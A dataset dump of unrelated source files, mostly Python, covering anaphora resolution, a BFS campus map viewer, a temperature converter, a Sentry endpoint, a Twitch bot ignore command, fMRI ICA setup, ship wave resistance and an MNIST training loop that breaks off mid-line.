prnoun[p]:\r\n # If case of noun is accusative or instrumental or locative:\r\n if 'accusative' in sub[0] or 'instrumental' in sub[0] or 'locative' in sub[0]:\r\n # Run function 'out'.\r\n out()\r\n # Else if noun occurs before proonoun:\r\n else:\r\n if sub[0][-1] < prnoun[p][-1]:\r\n # Run function 'p1n2'\r\n p1n2()\r\n else:\r\n # Else, run function 'out'\r\n out()\r\n # Else if case of pronoun is sociative:\r\n elif 'sociative' in prnoun[p]:\r\n # If case of noun is accusative or instrumental or dative or sociative:\r\n if 'accusative' in sub[0] or 'instrumental' in sub[0] or 'dative' in sub[0] or 'sociative' in sub[0]:\r\n # Run function 'out'.\r\n out()\r\n else:\r\n # Else if noun occurs before atecedent:\r\n if sub[0][-1] < prnoun[p][-1]:\r\n # Run function 'p1n2':\r\n p1n2()\r\n else:\r\n # Run function 'out':\r\n out()\r\n # Else, if case of noun is sociative: \r\n else:\r\n if 'sociative' in sub[0]:\r\n # If noun occurs before pronoun:\r\n if sub[0][-1] < prnoun[p][-1]:\r\n # Run function 'p1n2':\r\n p1n2()\r\n else:\r\n # Run function 'out':\r\n out()\r\n # Else if case of noun is not accusative or genitive or instrumental or locative or sociative:\r\n elif 'accusative' not in sub[0] and 'genitive' not in sub[0] and 'instrumental' not in sub[0] and 'locative' not in sub[0] and 'sociative' not in sub[0]:\r\n # If case of noun is dative:\r\n if 'dative' in sub[0]:\r\n # Run function 'affr':\r\n affr()\r\n else:\r\n # Else, run functiono 'negt':\r\n negt()\r\n else:\r\n # Else, run function 'out':\r\n out()\r\n\r\n\r\n \r\n# Procedure for resolving anaphora resolution: \r\n \r\n # If the number of nouns or pronouns is 0: \r\n if len(noun) == 0 or len(prnoun) == 0:\r\n # If the number of nouns is 0:\r\n if len(noun) == 0:\r\n # Print as instructed:\r\n print(noant)\r\n # If the number of pronouns is 0: \r\n elif len(prnoun) == 0:\r\n # Print as instructed:\r\n print(noanp)\r\n # Else:\r\n else:\r\n # For each pronouns:\r\n for p in range(len(prnoun)):\r\n # Creating empty lists 'nis', 'nbs', 'nfs', 'wis', 'dfp', 'sdn', 'msdn', 'smsdn', 'psscan', 'nbp':\r\n nis = []\r\n nbs = []\r\n nfs = []\r\n wis = []\r\n dfp = []\r\n sdn = []\r\n msdn = []\r\n smsdn = []\r\n psscan = []\r\n nbp = []\r\n \r\n\r\n# Creating a list of words in the sentence containing the pronoun.\r\n\r\n # For each word in the input:\r\n for wr in range(len(complist)):\r\n # If the words are in the sentence containing the pronoun:\r\n if complist[wr][1] == prnoun[p][1]:\r\n # Add word to the list 'wis'\r\n wis.append(complist[wr])\r\n\r\n\r\n# Creating lists of nouns depending on the place of occurence: \r\n\r\n # For each noun:\r\n for nn in range(len(noun)):\r\n # If the noun occur in the same sentence containing the pronoun:\r\n if noun[nn][1] == prnoun[p][1]:\r\n # Add noun to the list 'nis':\r\n nis.append(noun[nn])\r\n # If the noun occur in the sentence preceding the sentence containing the pronoun:\r\n elif noun[nn][1] < prnoun[p][1]:\r\n # Add noun to the list 'nbs':\r\n nbs.append(noun[nn])\r\n # If the noun occur in the sentence succeeding the sentence containing the pronoun:\r\n elif noun[nn][1] > prnoun[p][1]:\r\n # Add noun to the list 'nfs':\r\n nfs.append(noun[nn])\r\n else:\r\n pass\r\n\r\n \r\n # If the noun occur before the pronoun in the sentence:\r\n if noun[nn][-1] < prnoun[p][-1]:\r\n # Add noun to the list 'nbp':\r\n nbp.append(noun[nn])\r\n\r\n# Calculating the distance of each noun from the pronoun and adding it to the analysis:\r\n\r\n # Calculating the distance of noun from the pronoun:\r\n dfpu = abs(prnoun[p][-1] - noun[nn][-1])\r\n # Adding the distance value to the list 'dfp':\r\n if dfpu not in dfp:\r\n dfp.append(dfpu)\r\n else:\r\n pass\r\n # Adding the distance value to the noun:\r\n noun[nn].insert(-1,dfpu)\r\n \r\n # Sort the list 'dfp' in the ascending order of the distance value:\r\n dfp.sort()\r\n\r\n # For each noun:\r\n for nn in range(len(noun)):\r\n # If the noun is the closest to the pronoun:\r\n if dfp[0] == noun[nn][-2]:\r\n # Add noun to the list 'sdn':\r\n sdn.append(noun[nn]) \r\n\r\n # For each noun:\r\n for nn in range(len(noun)):\r\n # If the noun is not in the list 'sdn':\r\n if noun[nn] not in sdn:\r\n # Add noun to the list 'psscan':\r\n psscan.append(noun[nn])\r\n \r\n\r\n# Anaphora resolution based on the number of nouns in the sentence:\r\n\r\n # If the number of nouns is 0:\r\n if len(nis) == 0:\r\n # If the number of nouns in the sentence preceding the sentence containing the pronoun is more than 0:\r\n if len(nbs) > 0:\r\n # Print as instructed:\r\n print(anap, prnoun[p][0])\r\n print(ante, nbs[-1][2])\r\n # Else, if the number of nouns in the sentence succeeding the sentence containing the pronoun is more than 0:\r\n elif len(nfs) > 0:\r\n # Print as instructed:\r\n print(anap, prnoun[p][0])\r\n print(ante, nfs[0][2])\r\n # Else, print as instructed:\r\n else:\r\n print(noant)\r\n\r\n # Evaluating reflexive pronouns:\r\n # If the pronoun is reflexive:\r\n elif 'reflx' in prnoun[p]:\r\n # If the number of nouns in the sentence preceding the sentence containing the pronoun is more than 0:\r\n if len(nbp) > 0:\r\n # Print as instructed:\r\n print(anap, prnoun[p][0])\r\n print(ante, nbp[-1][2])\r\n # Else, print as instructed:\r\n else:\r\n print(noan, prnoun[p][0])\r\n \r\n # If the number of nouns in the sentence containing the pronoun is 1:\r\n elif len(nis) == 1:\r\n sub = nis\r\n # Run function 'case':\r\n case()\r\n \r\n # If the number of nouns in the sentence containing the pronoun is more than 1:\r\n elif len(nis) > 1:\r\n # If the number of nouns in the list 'sdn' is 1:\r\n if len(sdn) == 1: \r\n sub = sdn\r\n # Run function 'case':\r\n case()\r\n \r\n # Else, if the number of nouns in the list 'sdn' is more than 1:\r\n else:\r\n # For each noun in the list 'sdn':\r\n for sn in range(len(sdn)):\r\n # Add noun's occurence number to the list 'msdn': \r\n msdn.append(sdn[sn][-1])\r\n # Sort list according to the occurence number:\r\n msdn.sort()\r\n # For every noun in the list 'sdn':\r\n for sn in range(len(sdn)):\r\n # If the noun's occurence number is the same as the last occurence number:\r\n if sdn[sn][-1] == msdn[-1]:\r\n # If the noun not already in list 'smsdn':\r\n if sdn[sn] not in smsdn:\r\n # Add noun to list 'smsdn':\r\n smsdn.append(sdn[sn])\r\n \r\n sub = smsdn\r\n # Run function case():\r\n case()\r\n\r\n \r\n\r\n","sub_path":"anaphora_resolution.py","file_name":"anaphora_resolution.py","file_ext":"py","file_size_in_byte":22354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"245464349","text":"# File Name: map_plot.py\n# Author: Amittai Joel Wekesa\n# Date: November 14, 2020\n# Purpose: Code to map and plot the vertices.\n\n# Imports:\nfrom cs1lib import *\nfrom load_graph import load_graph\nfrom bfs import bfs\n\n\n# Defining useful variables to be used in coordinating the functions:\nvertex_dict = load_graph(\"dartmouth_graph.txt\") # Vertex dictionary\ndartmouth_map = load_image(\"dartmouth_map.png\") # Map of Dartmouth\nIMAGE_WIDTH = 1012\nIMAGE_HEIGHT = 811\nWINDOW_TITLE = \"MAP OF DARTMOUTH\"\n\n# Global variables for the functions:\nstart_vertex = None\ngoal_vertex = None\npath_used = None\n\n\n# Function to detect mouse press and set start vertex:\ndef mouse_press(mx, my):\n global start_vertex, vertex_dict\n for key, vertex in vertex_dict.items():\n if vertex.mouse_in_range(mx, my):\n start_vertex = vertex\n\n\n# Function to track mouse position and update goal vertex:\ndef mouse_move(mx, my):\n global goal_vertex, vertex_dict\n for key, vertex in vertex_dict.items():\n if vertex.mouse_in_range(mx, my):\n goal_vertex = vertex\n\n\n# Function to call breadth-first search on the currently selected start and goal vertices:\ndef search():\n global path_used, start_vertex, goal_vertex, vertex_dict\n\n # Resetting the backpointers for all the vertices in vertex_dict\n for vertex in vertex_dict.values():\n vertex.backpointer = None\n\n # Find shortest path by calling bfs on the start vertex and goal vertex\n path_used = bfs(start_vertex, goal_vertex)\n return path_used\n\n\n# Function to draw map, vertices, and path:\ndef draw():\n global path_used\n draw_image(dartmouth_map, 0, 0)\n set_stroke_width(15)\n if start_vertex is not None and goal_vertex is not None:\n path_used = search()\n for key, vertex in vertex_dict.items():\n vertex.draw_connections(path_used=path_used)\n for key, vertex in vertex_dict.items():\n if vertex == start_vertex or vertex == goal_vertex:\n vertex.draw_point(1, 0, 0)\n elif path_used is not None and vertex in path_used:\n vertex.draw_point(1, 0, 0)\n else:\n vertex.draw_point()\n\n\n# Passing the draw function into start_graphics\nstart_graphics(draw, title=WINDOW_TITLE, width=IMAGE_WIDTH,\n height=IMAGE_HEIGHT, mouse_press=mouse_press,\n mouse_move=mouse_move)\n","sub_path":"CS1/LAB/LAB 4/Complete/map_plot.py","file_name":"map_plot.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"617893419","text":"a = int(input('摄氏度转换为华氏温度请按1\\n华氏温度转化为摄氏度请按2\\n'))\nwhile a != 1 and a != 2:\n a = int(input('你选择不正确,请重新输入。\\n摄氏度转换为华氏温度请按1\\n华氏温度转化为摄氏度请按2\\n'))\n\nif a == 1:\n celsius = float(input('输入摄氏度:'))\n fahrenheit = (celsius * 1.8) + 32 # 计算华氏温度\n print('%.1f 摄氏度转为华氏温度为 %.1f' % (celsius, fahrenheit))\nelse:\n fahrenheit = float(input('输入华氏度:'))\n celsius = (fahrenheit - 32) / 1.8 # 计算摄氏度\n print('%.1f 摄氏度转为华氏温度为 %.1f' % (fahrenheit, celsius))\n","sub_path":"example/celsius.py","file_name":"celsius.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"125427642","text":"from __future__ import absolute_import\n\nfrom rest_framework.response import Response\n\nfrom sentry import integrations\nfrom sentry.api.bases.organization import OrganizationEndpoint\n\n\nclass OrganizationConfigIntegrationsEndpoint(OrganizationEndpoint):\n def get(self, request, organization):\n providers = []\n for provider in integrations.all():\n providers.append(\n {\n 'key': provider.key,\n 'name': provider.name,\n 'config': provider.get_config(),\n 'setupDialog': dict(\n url='/organizations/{}/integrations/{}/setup/'.format(\n organization.slug,\n provider.key,\n ),\n **provider.setup_dialog_config\n )\n }\n )\n\n return Response({\n 'providers': providers,\n })\n","sub_path":"src/sentry/api/endpoints/organization_config_integrations.py","file_name":"organization_config_integrations.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"421986967","text":"import logging\n\nimport pajbot.models\nfrom pajbot.modules import BaseModule\nfrom pajbot.modules import ModuleType\nfrom pajbot.modules.basic import BasicCommandsModule\n\nlog = logging.getLogger(__name__)\n\n\nclass IgnoreModule(BaseModule):\n\n ID = __name__.split('.')[-1]\n NAME = '!ignore/!unignore'\n DESCRIPTION = 'Negeer alle commands van een gebruiker'\n CATEGORY = 'Functie'\n ENABLED_DEFAULT = True\n MODULE_TYPE = ModuleType.TYPE_ALWAYS_ENABLED\n PARENT_MODULE = BasicCommandsModule\n\n def ignore_command(self, **options):\n message = options['message']\n bot = options['bot']\n source = options['source']\n\n if message:\n username = message.split(' ')[0].strip().lower()\n with bot.users.find_context(username) as user:\n if not user:\n bot.whisper(source.username, 'Geen gebruiker gevonden met die naam.')\n return False\n\n if user.ignored:\n bot.whisper(source.username, 'Gebruiker wordt al genegeerd.')\n return False\n\n user.ignored = True\n message = message.lower()\n bot.whisper(source.username, 'Ik negeer nu {0}'.format(user.username))\n\n def unignore_command(self, **options):\n message = options['message']\n bot = options['bot']\n source = options['source']\n\n if message:\n username = message.split(' ')[0].strip().lower()\n with bot.users.find_context(username) as user:\n if not user:\n bot.whisper(source.username, 'Geen gebruiker gevonden met die naam.')\n return False\n\n if user.ignored is False:\n bot.whisper(source.username, 'Gebruiker wordt niet genegeerd.')\n return False\n\n user.ignored = False\n message = message.lower()\n bot.whisper(source.username, 'Ik negeer nu niet meer {0}'.format(user.username))\n\n def load_commands(self, **options):\n self.commands['ignore'] = pajbot.models.command.Command.raw_command(self.ignore_command,\n level=1000,\n description='Negeer een gebruiker, waardoor ze geen commands meer kunnen doen.',\n examples=[\n pajbot.models.command.CommandExample(None, 'Standaard gebruik',\n chat='user:!ignore \\n'\n 'bot>user:Ik negeer nu Smoothzy',\n description='Negeer gebruiker Smoothzy').parse(),\n ])\n\n self.commands['unignore'] = pajbot.models.command.Command.raw_command(self.unignore_command,\n level=1000,\n description='Niet meer een gebruiker negeren',\n examples=[\n pajbot.models.command.CommandExample(None, 'Standaard gebuik',\n chat='user:!unignore Smoothzy\\n'\n 'bot>user:Ik negeer nu niet meer Smoothzy',\n description='Niet meer Smoothzy negeren').parse(),\n ])\n","sub_path":"pajbot/modules/basic/ignore.py","file_name":"ignore.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"488172762","text":"import nipype.interfaces.fsl as fsl\nimport pandas as pd\nfrom CCD_packages import fb_subjectinfo\nimport numpy as np\n\n\n\n\ndef getSubjectButtonResponses():\n filelist=pd.read_csv('/home/jmuraskin/Projects/CCD/CCD-scripts/NARSAD_stimulus_JM.csv')\n\n for indx,f in enumerate(filelist['JM_INTERNAL']):\n for r in range(1,3):\n if int(f[-2:])<30:\n luminaFlag=0\n else:\n luminaFlag=1\n numberofbuttonPresses=getSubjectButtonPressScore('/home/jmuraskin/Projects/CCD/NARSAD-DMN-clean/%s_run%d.txt' % (f,r),luminaFlag)\n out={'number':numberofbuttonPresses,'filename':f}\n out['filename']=f\n if (indx+r)==1:\n df=pd.DataFrame(out,index=[0])\n df['subject']=f\n df['run']=r\n else:\n tmp=pd.DataFrame(out,index=[0])\n tmp['subject']=f\n tmp['run']=r\n df=pd.concat((df,tmp),ignore_index=0)\n return df\n\n\ndef getSubjectButtonPressScore(filename,luminaFlag):\n config=pd.read_table(filename,delimiter=';',comment='#')\n numButton=0\n for indx in config[config[' Stim Text']==' Push Button'].index[:]:\n numTmp=0\n for n in range(5):\n if luminaFlag:\n if config.iloc[indx+n][' STIM']==' LUMINA' and numTmp==0:\n numButton+=1\n numTmp+=1\n else:\n if config.iloc[indx+n][' STIM']!='53' and numTmp==0:\n numButton+=1\n numTmp+=1\n return numButton\n\n\n\nmotionTest=pd.read_csv('/home/jmuraskin/Projects/CCD/CCD-scripts/analysis/CCD_meanFD.csv')\ndepressed=np.array(['CCD072','CCD098','CCD083','CCD062','CCD061','CCD051','CCD087'])\ndf=getSubjectButtonResponses()\ntmp=df.groupby('subject')['number'].sum()\npoor_performers=np.array(tmp[tmp<22].index[:])\n\n\nmotionThresh=1\nallsubj=np.unique(motionTest['Subject_ID'])\nmotionReject=np.unique((motionTest[motionTest.Max_Relative_RMS_Displacement>motionThresh]['Subject_ID']))\nsubject_list=np.setdiff1d(np.setdiff1d(np.setdiff1d(allsubj,motionReject),depressed),poor_performers)\n\ngmThresh=0.20\n\nfnames=[]\nfb=1\nfor subject in subject_list:\n run=fb_subjectinfo(subject,fb)\n fnames.append('/home/jmuraskin/Projects/CCD/working_v1/feedback_run-%d/_subject_id_%s/addMeanImage/mapflow/_addMeanImage0/residual_antswarp_maths_maths.nii.gz' % (run,subject))\n\n\nmelodic_setup = fsl.model.MELODIC()\nmelodic_setup.inputs.approach = 'tica'\nmelodic_setup.inputs.in_files = fnames\nmelodic_setup.inputs.no_bet = True\nmelodic_setup.inputs.bg_threshold = 10\nmelodic_setup.inputs.dim = 20\nmelodic_setup.inputs.mask = '/home/jmuraskin/Projects/CCD/working_v1/seg_probabilities/grey_matter_mask-%d-percent.nii.gz' % int(gmThresh*100)\nmelodic_setup.inputs.tr_sec = 2\nmelodic_setup.inputs.mm_thresh = 0.5\nmelodic_setup.inputs.out_stats = True\nmelodic_setup.inputs.t_des = 'TENSOR_GLM.mat'\nmelodic_setup.inputs.t_con = 'TENSOR_GLM.con'\nmelodic_setup.inputs.s_des = 'design-Feedback-perf.mat'\nmelodic_setup.inputs.s_con = 'design-Feedback-perf.con'\nmelodic_setup.inputs.out_dir = '/home/jmuraskin/Projects/CCD/working_v1/group_FEEDBACK_TICA.out'\nmelodic_setup.inputs.report = True\n\nmelodic_setup.run()\n","sub_path":"analysis/run_TICA_melodic.py","file_name":"run_TICA_melodic.py","file_ext":"py","file_size_in_byte":3253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"201406202","text":"\"\"\"\nClasses:\n wave_resistance()\n\nMethods:\n\nImports:\n numpy, optimize from scipy\n\"\"\"\nimport numpy as np\nfrom scipy import optimize\n\n\nclass wave_resistance:\n \"\"\"\n Creates a class which deals with calculating wave resistances\n\n Attributes:\n RWm -- An array of Rw values at each wave harmonic\n elevation -- Wave elevation terms\n \"\"\"\n\n def __init__(self, sources, tank):\n \"\"\"\n Initialise sources\n\n Inputs:\n sources -- A sources object\n tank -- a tank object\n\n Outputs:\n A wave-resistance class\n \"\"\"\n self.sources = sources\n self.tank = tank\n self.elevation = []\n self.RWm = np.zeros(tank.M)\n self.kBar = 0\n self.k0 = 0\n self.theta0 = 0\n self.zeta0_squared = 0\n self.calc_Rwm()\n \n return None\n\n def calc_Rwm(self):\n \"\"\"\n Calculate the wave resistance values\n \"\"\"\n self.kbar = self.tank.g/(self.tank.U**2)\n\n coeff = 0.25*self.tank.rho*self.tank.g*self.tank.B\n\n self.k0, self.theta0 = self.wave_components(0)\n eta0, nu0 = self.elevation_terms(0)\n self.zeta0_squared = self.calc_zeta_squared(eta0, nu0)\n zeroth_component_to_rw = self.zeroth_wave_component()\n\n self.RWm[0] = coeff*zeroth_component_to_rw\n\n for i in np.arange(1, self.tank.M):\n km, thetam = self.wave_components(i)\n etam, num = self.elevation_terms(i)\n zetam_squared = self.calc_zeta_squared(etam, num)\n\n mth_component_to_rw = self.mth_wave_component(km, thetam, zetam_squared)\n self.RWm[i] = coeff*mth_component_to_rw\n \n return None\n\n def calc_zeta_squared(self, eta, nu):\n \"\"\"\n Returns Zeta squared for a given eta and nu\n \"\"\"\n return eta**2 + nu**2\n\n def zeroth_wave_component(self):\n \"\"\"\n Calculates the component to Rw for the 0th wave component\n \"\"\"\n if (2*self.k0*self.tank.H) > 50:\n frac_term = 0\n else:\n top_frac = 2*self.k0*self.tank.H\n bottom_frac = np.sinh(2*self.k0*self.tank.H)\n frac_term = top_frac/bottom_frac\n\n return self.zeta0_squared*(1-frac_term)\n\n def mth_wave_component(self, km, thetam, zetam_squared):\n \"\"\"\n Calculates the component to Rw for the mth wave component\n \"\"\"\n frac1 = (np.cos(thetam)**2)/2\n\n if (2*km*self.tank.H) > 10:\n frac2 = 0\n else:\n top_frac = (2*km*self.tank.H)\n bottom_frac = (np.sinh(2*km*self.tank.H))\n frac2 = top_frac/bottom_frac\n\n return zetam_squared*(1-(frac1*(1+frac2)))\n\n def wave_components(self, m):\n \"\"\"\n Calculates the wave components of a given harmonic m using a newton\n raphson method of root finding.\n\n Inputs:\n m -- Wave harmonic number\n \"\"\"\n X = m * np.pi/self.tank.B # Wall condition\n k = self.tank.k0 * (1 + (1 + (2 * X/self.tank.k0))**0.5) / 2 # Initial guess\n km = optimize.newton(self.f, k, args=(m,)) # Km = The roots of the equation\n thetan = np.arcsin(((2*np.pi*m)/self.tank.B)/km)\n\n return [km, thetan]\n\n def f(self, x, n,):\n \"\"\"\n Returns f(x) = x**2-k0*yn*tanh(yn*H)+((2*m*pi)/B)^2\n\n Inputs:\n x -- The wave number yn\n n -- The wave harmonic to calculate for\n \"\"\"\n return x**2 - self.tank.k0*x*np.tanh(x*self.tank.H) - 1*((2*n*np.pi)/(self.tank.B))**2\n\n def elevation_terms(self, m):\n \"\"\"\n Calculates the wave elevation terms for a given harmonic m.\n\n Inputs:\n m -- Wave harmonic number\n \"\"\"\n coeff = (16*np.pi*self.tank.U)/(self.tank.B*self.tank.g)\n\n km, thetam = self.wave_components(m)\n\n first_frac = self.calc_first_frac(km, thetam)\n summation = self.calc_summation_term(m, km, thetam)\n\n if m == 0: # If the 0th wave component\n coeff = coeff*0.5 # Half the output\n\n return coeff*first_frac*summation\n\n def calc_first_frac(self, km, thetam):\n \"\"\"\n Calculates the first fraction term in the wave elevation equation\n returns ((Kbar + km*cos^(thetam))/(1+sin^2(thetam)-Kbar*H*sech^2(km*H)))\n \"\"\"\n top_frac = (self.k0+km*(np.cos(thetam)**2))\n\n if km*self.tank.H > 20:\n sechKH = 0\n else:\n sechKH = 1/np.cosh(km*self.tank.H)\n\n bottom_frac = (1 + (np.sin(thetam)**2) - self.k0*self.tank.H*(sechKH**2))\n first_frac = top_frac/bottom_frac\n return first_frac\n\n def calc_summation_term(self, m, km, thetam):\n \"\"\"\n Calculates the summation term of the wave elevation equation\n \"\"\"\n summation = 0\n\n for i in range(len(self.sources.strength)):\n strength_i = self.sources.strength[i]\n exp_term = np.exp(-1*km * self.tank.H)\n\n cosh_term = np.cosh(km*(self.tank.H * self.sources.coords[i][2]))\n\n matrix_term = np.array([[np.cos(km * self.sources.coords[i][0] *\n np.cos(thetam))],\n [np.sin(km*self.sources.coords[i][0] *\n np.cos(thetam))]])\n\n if m % 2 == 0: # Even m\n multiplier = np.cos((m*np.pi*self.sources.coords[i][1]) /\n self.tank.B)\n else: # Odd m\n multiplier = np.sin((m*np.pi*self.sources.coords[i][1]) /\n self.tank.B)\n\n summation += strength_i*exp_term*cosh_term*matrix_term*multiplier\n\n return summation\n","sub_path":"Thin Ship Theory/spam/unused/resistance.py","file_name":"resistance.py","file_ext":"py","file_size_in_byte":5794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"162181184","text":"from tests import ccsd_amplitude as ccsd\n\nfrom main_tools.commutator import comm\nfrom main_tools import product as math2\nfrom library import full_con\nfrom library import convert_pqr\nfrom library import pick\nfrom library import compare_envelope as ce\nfrom library import print_terms as pt\nimport library\nfrom library.rn_comm import select_r\nfrom library.symmetric import symm\n#ccsd.amplitude()\n\nlist_terms1=[]\nlist_terms2=[]\nlist_terms3=[]\nlist_terms4=[]\nlist_terms5=[]\nlist_terms6=[]\nlist_terms7=[]\nlist_terms8=[]\nlist_terms=[]\n\n\nlist_terms1.extend(comm(comm(['V2'],['D1'],0),['D11'],1))\n\n#list_terms1.extend(comm(['V2'],['T2'],1))\n#list_terms.extend(select_r(comm(['V2'],['T1'],1)))\n\n#list_terms1.extend(comm(list_terms,['T21'],1))\n\nlist_terms=library.convert_pqr.convert_pqr(list_terms1)\n\nlibrary.print_terms.print_terms(list_terms)\n\nlist_terms1=pick.pick(list_terms,['i'],['j'])\nlist_terms2=pick.pick(list_terms,['a'],['b'])\nlist_terms3=pick.pick(list_terms,['i','j'],['k','l'])\nlist_terms4=pick.pick(list_terms,['a','b'],['c','d'])\nlist_terms5=pick.pick(list_terms,['i','a'],['b','j'])\n\n\n'''\nlist_terms2.extend(math1.comm(math1.comm(['V2'],['T2'],0),['D21'],-1))\nlist_terms3.extend(math1.comm(math1.comm(['V2'],['D2'],0),['T21'],-1))\nlist_terms4.extend(math1.comm(math1.comm(['V2'],['D2'],0),['D21'],1))\n'''\n'''\nlist_terms5.extend(math1.comm(math1.comm(['V2'],['T1'],0),['T2'],1))\nlist_terms6.extend(math1.comm(math1.comm(['V2'],['T1'],0),['D2'],-1))\nlist_terms7.extend(math1.comm(math1.comm(['V2'],['D1'],0),['T2'],-1))\nlist_terms8.extend(math1.comm(math1.comm(['V2'],['D1'],0),['D2'],1))\n'''\nlist_terms=list_terms1+list_terms2+list_terms3+list_terms4+list_terms5#+list_terms6+list_terms7+list_terms8\n\n\n\nlist_terms1=ce.compare_envelope(list_terms1,1,1)\nlist_terms2=ce.compare_envelope(list_terms2,1,1)\nlist_terms3=ce.compare_envelope(list_terms3,1,1)\nlist_terms4=ce.compare_envelope(list_terms4,1,1)\nlist_terms5=ce.compare_envelope(list_terms5,1,1)\n\nlist_terms1=pt.clean_list(list_terms1)\nlist_terms2=pt.clean_list(list_terms2)\nlist_terms3=pt.clean_list(list_terms3)\nlist_terms4=pt.clean_list(list_terms4)\nlist_terms5=pt.clean_list(list_terms5)\n\nlist_terms1=symm(list_terms1)\nlist_terms2=symm(list_terms2)\nlist_terms3=symm(list_terms3)\nlist_terms4=symm(list_terms4)\nlist_terms5=symm(list_terms5)\n\nlibrary.print_terms.print_terms(list_terms1)\nlibrary.print_terms.print_terms(list_terms2)\nlibrary.print_terms.print_terms(list_terms3)\nlibrary.print_terms.print_terms(list_terms4)\nlibrary.print_terms.print_terms(list_terms5)\n","sub_path":"ucc_terms/input.py","file_name":"input.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"334471801","text":"import socket\nimport sys\nimport numpy as np\nimport random\nfrom architecture.dating.utils import floats_to_msg2, candidate_to_msg\n\n\nPORT = int(sys.argv[1])\n\n\ndef get_valid_prob(n):\n\talpha = np.random.random(n)\n\tp = np.random.dirichlet(alpha)\n\tp = np.trunc(p*100)/100.0\n\n\t# ensure p sums to 1 after rounding\n\tp[-1] = 1 - np.sum(p[:-1])\n\treturn p\n\n\ndef get_valid_weights(n):\n#\thalf = n/2\n\ta = np.zeros(n)\n\ts = v = np.random.poisson(n/2, 1)\n\twhile s <= 0 or s >= n:\n\t\ts = v = np.random.poisson(n/2, 1)\n\ta[:s] = get_valid_prob(s)\n\ta[s:] = -get_valid_prob(n - s)\n\treturn np.around(a, 2)\n\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect(('localhost', PORT))\n\nnum_string = sock.recv(4)\nassert num_string.endswith('\\n')\n\nnum_attr = int(num_string[:-1])\ninitial_weights = get_valid_weights(num_attr)\nrandom.shuffle(initial_weights)\nideal_candidate = initial_weights > 0\nanti_ideal_candidate = initial_weights <= 0\n\nsock.sendall(floats_to_msg2(initial_weights))\n\nsock.sendall(candidate_to_msg(ideal_candidate))\nsock.sendall(candidate_to_msg(anti_ideal_candidate))\n\nfor i in range(20):\n\t# 7 char weights + commas + exclamation\n\tdata = sock.recv(8*num_attr)\n\tprint('%d: Received guess = %r' % (i, data))\n\tassert data[-1] == '\\n'\n\tsock.send(floats_to_msg2(initial_weights))\n\nsock.close()\n","sub_path":"42_person.py","file_name":"42_person.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"386518588","text":"from datetime import datetime\n\n\ndef cleaning_date_to_use_with_celery(day):\n if isinstance(day, str):\n if 'T' in day:\n day = day.split('T')[0]\n day = datetime.strptime(day, \"%Y-%m-%d\").date()\n\n if isinstance(day, datetime):\n day = day.date()\n\n return day\n","sub_path":"{{cookiecutter.directory_name}}/utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"442717706","text":"import torch\nimport random\nimport numpy as np\nfrom torch import nn\nfrom model import OpeModuloModel, Model\nimport argparse\n\n\n\ndef training_mnist(model=None, optim=1, lr=0.001, n_epochs=100, train_dataloader=None, val_dataloader=None, lenmnistval=0, name=None, tnorm=None, test=True):\n\n model=model\n \n use_sigmoid=False\n\n if use_sigmoid:\n criterion = torch.nn.MultiLabelSoftMarginLoss()\n else:\n criterion = torch.nn.CrossEntropyLoss()\n\n if optim==1:\n optimizer = torch.optim.Adam(model.parameters(), lr=lr)\n if optim==0:\n optimizer = torch.optim.SGD(model.parameters(), lr=lr)\n\n \n sigmoid = nn.Sigmoid()\n softmax = nn.Softmax(dim=1)\n\n if (torch.cuda.is_available()):\n model.cuda()\n\n no_epochs = n_epochs\n train_loss = list()\n val_loss = list()\n num_updates = 0.0\n\n best_accuracy = 0.0\n best_ep = 0\n for epoch in range(no_epochs):\n \n total_train_loss = 0\n total_val_loss = 0\n h = 0\n model.train()\n \n # training\n for itr, (image, label) in enumerate(train_dataloader):\n\n current_batch_size = image.shape[0]\n h += current_batch_size\n\n if (torch.cuda.is_available()):\n image = image.cuda()\n label = label.cuda()\n\n optimizer.zero_grad()\n\n pred = model(image)\n\n if tnorm == 'luka':\n\n if use_sigmoid:\n image_probs = sigmoid(pred)\n else:\n image_probs = softmax(pred)\n \n loss = -torch.sum(torch.gather(image_probs, 1, torch.unsqueeze(label, -1)))\n\n\n if tnorm == 'prod' or tnorm == 'rprod':\n\n if use_sigmoid:\n labels_one_hot = torch.nn.functional.one_hot(label, num_classes=10) #Shape (B, C)\n loss = criterion(pred, labels_one_hot)\n else:\n loss = criterion(pred, label)\n \n if tnorm == 'godel' or tnorm == 'rgodel':\n \n image_probs = softmax(pred)\n \n correct_class_probs = torch.gather(image_probs, 1, torch.unsqueeze(label, -1))\n \n if 4 == 3:\n #loss = -torch.sum(torch.gather(image_probs, 1, torch.unsqueeze(label, -1)))\n loss = criterion(pred, label)\n else:\n \n loss = -1 * torch.min(correct_class_probs)\n \n \n total_train_loss += loss.item()\n\n loss.backward()\n num_updates +=1\n optimizer.step()\n \n\n total_train_loss = total_train_loss / (itr + 1)\n train_loss.append(total_train_loss)\n\n # validation\n model.eval()\n total = 0\n for itr, (image, label) in enumerate(val_dataloader):\n\n if (torch.cuda.is_available()):\n image = image.cuda()\n label = label.cuda()\n\n pred = model(image)\n \n if use_sigmoid:\n labels_one_hot = torch.nn.functional.one_hot(label, num_classes=10) #Shape (B, C)\n loss = criterion(pred, labels_one_hot)\n else:\n 